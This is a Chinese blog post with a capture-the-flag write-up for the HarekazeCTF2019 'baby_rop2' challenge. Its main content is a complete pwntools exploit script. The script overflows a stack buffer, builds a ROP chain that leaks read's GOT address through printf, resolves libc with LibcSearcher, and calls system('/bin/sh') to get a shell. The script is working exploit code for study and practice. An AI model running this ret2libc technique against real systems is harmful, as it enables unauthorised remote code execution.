[HarekazeCTF2019]baby_rop2

女爷i 2023-02-18 11:58 101阅读 0赞

在这里插入图片描述
在这里插入图片描述
exp

  1. #!/usr/bin/env python3
  2. # coding=utf-8
  3. from pwn import *
  4. from LibcSearcher import *
  5. context(log_level = 'debug')
  6. proc_name = './babyrop2'
  7. p = process(proc_name)
  8. # p = remote('node3.buuoj.cn', 29966)
  9. elf = ELF(proc_name)
  10. print(proc.pidof(p))
  11. main_addr = elf.sym['main']
  12. printf_plt = elf.plt['printf']
  13. read_got = elf.got['read']
  14. pop_rdi_ret = 0x400733
  15. pop_rsi_r15_ret = 0x400731
  16. format_str = 0x400770
  17. p.recvuntil('name?')
  18. print(elf.got)
  19. payload = 'a'.encode() * (0x20 + 8) + p64(pop_rdi_ret) + p64(format_str) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0x0) + p64(printf_plt) + p64(main_addr)
  20. print(payload)
  21. p.sendline(payload)
  22. read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))
  23. print(read_addr)
  24. p.recv()
  25. libc = LibcSearcher('read', read_addr)
  26. libc_base = read_addr - libc.dump('read')
  27. system_addr = libc_base + libc.dump('system')
  28. bin_sh_str = libc_base + libc.dump('str_bin_sh')
  29. payload1 = 'a'.encode() * (0x20 + 8) + p64(pop_rdi_ret) + p64(bin_sh_str) + p64(system_addr)
  30. p.sendline(payload1)
  31. p.interactive()

如果有小伙伴好奇,为什么不直接传递read函数的的got表中的地址,直接打印出来,这里是因为我们输入的数据是存在buf中的,buf是位于栈上的,对于%s,他要解析我们输入的数据,就是栈地址对应的数据,所以打印出来的还是我们输入的东西!如下图
在这里插入图片描述
在这里插入图片描述

发表评论

表情:
评论列表 (有 0 条评论,101人围观)

还没有评论,来说两句吧...

相关阅读

    相关 2019/12/2

    快乐分享错了人就成了显摆。 -------------------- 跟优秀的人在一块真的可以变优秀吗。 阻挡你放光的只有你自己内心的恐惧与慵懒。 纪念一下第一次做

    相关 2019/11/2

    你是近处的烟火,也是远处的星河 -------------------- 今天,杂乱无章。 感觉,不可思议。 像能遇见一样,提前难过。 心理学上有一个期望定律也

    相关 ciscn_2019_es_2

    ![在这里插入图片描述][20200623091124421.png] 简单分析:两次read都往同一个地方填数据(s栈变量的位置),可输入0x30大小,s离ebp距离0x